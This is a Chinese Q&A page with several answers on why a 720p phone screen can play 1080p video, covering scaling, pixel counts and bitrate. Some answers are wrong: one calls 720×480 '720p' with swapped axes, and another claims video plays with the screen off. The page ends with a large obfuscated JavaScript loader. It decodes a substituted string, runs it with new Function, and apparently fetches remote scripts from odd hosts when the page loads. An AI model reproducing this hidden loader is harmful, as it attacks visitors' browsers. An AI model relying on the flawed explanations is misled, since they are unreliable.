为什么720p的手机屏幕可以播放1080p的视频?
推荐回答(1个)
因为你手机的720p屏幕指的是物理分辨率,也是屏幕本身最大的分辨率和像素数量,这个分辨率是不能强制增加的;而视频的1080p分辨率是视频本身的图像数据,虽说也是固定的但是可以进行任意缩放,如果在720p或者更低分辨率的屏幕上播放,视频就会自动缩放到适合屏幕的尺寸,如果屏幕分辨率达到了2K或者4K,那这个视频默认只能以最大1080p尺寸播放,当然你要强制全屏播放也可以,只是视频像素都被拉伸放大而显得模糊了。
其实播放视频和显示照片的原理差不多,现在的手机照片动辄1600万像素以上,比主流手机屏幕分辨率高太多了,然而不管是720p还是1080p手机屏都是可以正常显示这些照片的,只是无法在完整分辨率下全面显示罢了,这也是为什么图形设计师喜欢使用分辨率高的显示器的原因之一。
理论上把高分辨率视频在低分辨率屏幕上播放会损失画质和细节,但是由于像素缩放的缘故,你在720p手机屏幕上看1080p视频也会显得很清晰,只是不如1080p屏幕来的细节更多。因为液晶屏幕显示原理的关系,屏幕和视频画面做到点对点显示是效果最好的,如果无法做到点对点,要么强制放大画面会变模糊,要么缩放画面就会损失细节,所以理论上你的720p屏幕手机播放720p视频是最合适的。
另外,视频分辨率只是决定视频画质的一个因素,更大的因素还在于视频码率,如果只有500码率的1080p视频,画质还真不如1000多码率的720p视频,所以不要一昧追求视频分辨率,宁可看高码率720p视频也不要看低码率1080p视频,许多视频资源就是靠高分辨率来唬人,其实画质可能惨不忍睹。
一个是720p的手机屏幕,一个是1080p的视频,是不是两个数字一个大一个小就感觉播放不了了?你太小瞧我们的工程师GG了!再小分辨率的屏幕,采用某个算法后照样显示高分辨率的视频,看我慢慢说来。
一、720p的手机屏幕是什么意思?
以720*480为例,这种720p的手机屏幕在水平方向有480个发光点,垂直方向有720个发光点。
发光点就是能够发射光源的小管道,你的手机屏幕为啥是亮的,就是这些发光点照亮的呗!
以后你只要看到什么手机屏幕多少分辨率,什么电视机多少分辨率,其实说的就是这个发光点。
二、1080p的视频是什么意思?
1080p一般指的是1920*1080,也就是这部视频的每一个画面水平方向有1920个逻辑像素,垂直方向有1080个逻辑像素。
1920个逻辑像素的意思就是告诉手机,我视频的每一个画面水平方向最佳的显示需要你有1920个发光点,1080个逻辑像素的意思就是告诉手机我视频画面垂直方向最佳显示需要你有1080个发光点。
三、720p手机屏如何显示1080p视频
那么问题来了,720p的手机屏看1080p的视频时,发光点没有那么多啊,这可咋办?
手机芯片会有一些算法来处理这个问题,比如一种简单的算法就是把1080p视频的逻辑像素丢掉一些,比如1920*1080的逻辑像素最后丢的就剩下720*480,这样不就正好在手机屏上显示了吗?反正屏幕小你肉眼也看不出来,还以为自己在看1080p的大片呢!
这个问题的回答就是这样,小伙伴们有啥问题可以留言分享哦!
前面的回答没有讲技术原理,我来补一发好了。题主的问题其实只要一个简单的算法就能解决。1080P视频每帧图像的分辨率为1920X1080,对应2073600个像素,720P手机屏幕的分辨率为1280X720,对应921600个像素。
图像比手机屏幕多出2073600—921600=1152000像素,怎么办?
算法将这多余的100多万像素减去就行。
怎么减呢?由于像素是从图片采集的样本,可以理解为一个一个的小方块,1080P意味着每帧图像有200余万个小方块,减像素意味着减去115万余个多余的像素。
减像素当然不是抹除图片像素,而是合并,规则是两个像素合成一个取样,变成1080P的1/2,即分辨率为:960X540。但720P和1080P不是整数倍关系,后者是前者的1.5倍,带小数点的。怎么破?图像的每3个像素合成一个样本后,再按2个像素取样。换句话说,720P的像素数是1080P的2/3,所以图像的每3个像素转换成2个像素输出。
由于720P和1080P的长宽比都是16:9,1080P的图像经转换后,可以完整填满720P的手机屏幕,并且清晰度不受影响。
但如果长宽比是非16:9,转换之后采用点对点显示时,就会在屏幕上下或左右留下大黑边。
为什么720P的屏幕可以播放1080P视频?
首先我们需要搞清楚物理分辨率和视频分辨率的概念,720P的屏幕是指物理分辨率,即屏幕上共有1280*720个像素,每个像素都对应一个很小的发光点,将这些发光点组合起来才是我们看到的图像,分辨率越高,代表可以显示的画面越精细。
而视频分辨率是指视频画面内长宽像素的数量,分辨率越高,代表视频内包含的数据量越大,理论上,1080P的视频在1080P屏幕上显示是最合适的,点对点一一对应,但也可以在低分辨率屏幕上显示,只不过由于屏幕的像素点较少,不能与视频数据一一对应,会丢失掉很多细节罢了。
总的来说,720P的屏幕能够播放1080P的视频,但显示效果却只有720P,这是物理瓶颈,不是播放什么视频就可以改变的,理论上来说,只要你的设备支持更高的视频解码,即使播放2K、4K的视频也是可以的,但肯定不会是正常的显示效果。
大家在看电影的时候都会留意到电影的播放选项中都会有一个选择清晰度的按钮,其中就包括了720P、1080P、4k等等,但是大家在使用中会发现,即使自己的手机屏幕是720P的,为什么同样支持1080P的视频播放呢?
文中提到的720P只是设备的分辨率,只要是设备的配置显示为720P的也就证明了这个屏幕硬件最大的像素数量只有这些,也就只能够显示720P的内容,但是由于电影的分辨率为1080P,虽然不能进行别的更改,最起码能够通过拉伸或者自动适应的方法适配到720P分辨率以及尺寸的屏幕上,同样,如果在1080P的屏幕上播放720P的视频也会有反向效果去适配屏幕显示。
从数据理论上来说,720P的视频只有在720P的播放设备上进行播出才能够呈现出更好的显示效果,如果播放比自身分辨率高的资源,很多的电影或者照片细节会丢失,没有在本身适配的机器上显示较细腻。
大家应该都知道,现在的设计师以及UI行业的从业人员使用的屏幕一般都要比其他行业要好,因为现在拍摄的视频以及照片都已经超过了手机的显示像素,但是对他们来说能够显示这张照片是不足够的,要想看到更多的细节,就需要用到高分辨率的优质显示器。
以上就是为什么720p的屏幕可以看1080p视频的原因,相信现在年轻人用的手机屏幕分辨率早就已经超过了720P,有的甚至能够支持4K,那么这篇文章就当一个简易的科普文吧,如果有不足感谢大家在下方补充。
低分辨率的设备是可以播放高分辨率的视频和图像的。
720p的分辨率大概有90万个像素点,1080p大概有200万的像素点。像素越多,对于图片表示的越精细。例如,在一张蓝色的图片上,如果蓝色的深浅不是很明显,在低分辨率的机器上,你只能看到一张蓝色的图片,区局深浅你看不出来。但是,在高分辨率的机器上,这种深浅变化会非常清晰。这就是现在我们说的2k,4k,蓝光的优势,他们的分辨率更高,图像更清晰。
当高分辨率的视频图像在低分辨率的设备上投放的时候,多余的像素会进行合并。所以看到的图像就没有原图清晰,但是,还是可以正常观看的。
720p的手机可以播放1080p,还可以播放2k,4k,8k,3d电影,理论上只要你的设备能打开播放的视频,你的720p都可以放
屏幕播放图像,图像是由图片组成,图片是由点组成,屏幕上也是一个个小的发光点,排满一整块平面。
720p屏幕手机可以放1080p更高都可以,但是放出来跟效果是两回事,这就像一个木桶由于两块木棒组成,一块硬件,一块软件,硬件就相当于屏幕。软件就相当于你的解码设备,显卡这些。播放效果去解决于最短的木板。
720p的屏幕,播放720p的电影,或者 游戏 时设置分辨率是720p的话刚好适合谁都不浪费。
720p屏幕意思是屏上的点横向达到720个发光点以上,竖向达到1280个以上。如果显卡输出的也是这个分辨率,那视频上的每个点刚好分配到屏幕的每个发光点上来发光。
如果播放的视频是1080p,横向1080个点,但屏幕上只有720个,那就有些点就不能表现出来,我们观看的视觉效果也只是720p的感觉,以此类推。反之很多人玩 游戏 吧分辨率提高了,换了更好的显卡, 游戏 卡到2k超高清,当是效果一样没变,那就要换块2k以上的屏幕了。
由此特别提醒买手机,电视的朋友,屏幕一定要买分辨率高的4k以上,特别是不要当当只看尺寸大小,同样是4k的屏幕,分辨率一样,里面的发光点数量是一样的,越大的屏幕只是吧发光点的间距加大,密度越来越小,显示效果近距离很容易看到像素点,模糊,难度也越来越容易。
就比如4k屏幕的手机,跟4k电视的像素数量是一样的,远距离观看4k电视,才能达到4k手机的显示效果。
不光是720的屏幕,480也可以,甚至屏幕关闭也可以播放!只是你看不到而已!但可以听到!因为他们都是不同的通道!
无论是电脑还是手机,我们常听的分辨率都是屏幕的物理像素多少,这是屏幕参数中的一种,而播放视频或者呈现图片其实和屏幕没什么绝对的关系!主要是有CPU和显卡共同执行的,屏幕只是一个显示给我们的载体!
一个图片或视频在需要播放时,首先被送到内存,然后又CPU解码填充原来的内容,然后交给显卡绘制相应的画面,显卡会根据显示器的参数比如720还是1080(开机时就协商好的,手机就是固定的),把视频画面缩放到相应的像素,然后送到缓存中,由屏幕显示出来!我们就看到了画面!
能否看1080P视频只需要看播放硬件的驱动,和屏幕显示关系不大。你拿一台工作站去接一台CRT老屏幕同样能播放4K视频,只是你能看到的画面并非4K而已。
这原理就等于,窗外的画面是无数K的精度,但你窗玻璃上钻了720P精度的小孔、你能看到的窗外景色就是720P的;同理,1080P屏幕一样可看4K视频,但播放效果就是1080P的。
不过,在目前高清视频被过度压缩的情况下,此举的效果却未必不好。
比如你的屏幕显示值最高是1080P,在上面观看“伪1080P视频“时往往就感觉达不到1080P;但在看4K视频时,其像素或许经过了压缩、却至少可满足1080P的下限,故而,在1080P屏幕上看4K视频、反能获得真正的1080P效果。同理,在720P屏幕上看1080P视频也能获得真正的720P体验。
在视频术语上,320/480/720P可分列“普清、标清、高清”(分别对应从前的VCD/DVD/高清流媒体视频),所以面向高清流媒体视频的H.264编码中、最早带HD标记的视频其实就是720P的,而1080P则是“蓝光级”的最高清了!
在电视机上,其实1080P对人眼的观看体验跟4K并无很大差异,毕竟你不会凑到屏幕前去观看;由于存在一个观看距离,实际上在电视机里,720P的效果其实已可满足“高清”(当然1080P更好)!
后来的4K等对于电脑屏幕的视频播放意义很大,但对电视广播及在线视频来说就是个噱头而已,否则电视机厂商的更新换代就找不到卖点。
首先我们来了解一下720p指的是什么?
720p是美国电影电视工程师协会制定的高等级高清数字电视的格式标准。p指的是Progresssive.是逐行的意思。
720p是一种在逐行扫描下达到1280×720的分辨率的显示格式。
用低分辨率的屏幕并不是不能显示高分辨率的视频,只是不能原汁原味的点对点的来显示。
使用720p的设备播放1080p的视频,电脑会自动的将视频的像素进行删减。
将1920×1080像素裁剪成1280×720来显示可以正常播放。只是像素少了,画质达不到1080p只能达到720p。当然,你使用720p设备播放当年分辨率哦,320×240的视频时也不会出现不能播放或者不满屏的现象,系统因为会自动为原视频插值将320×240像素添成1280×720来显示,画质并不会因此增加。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();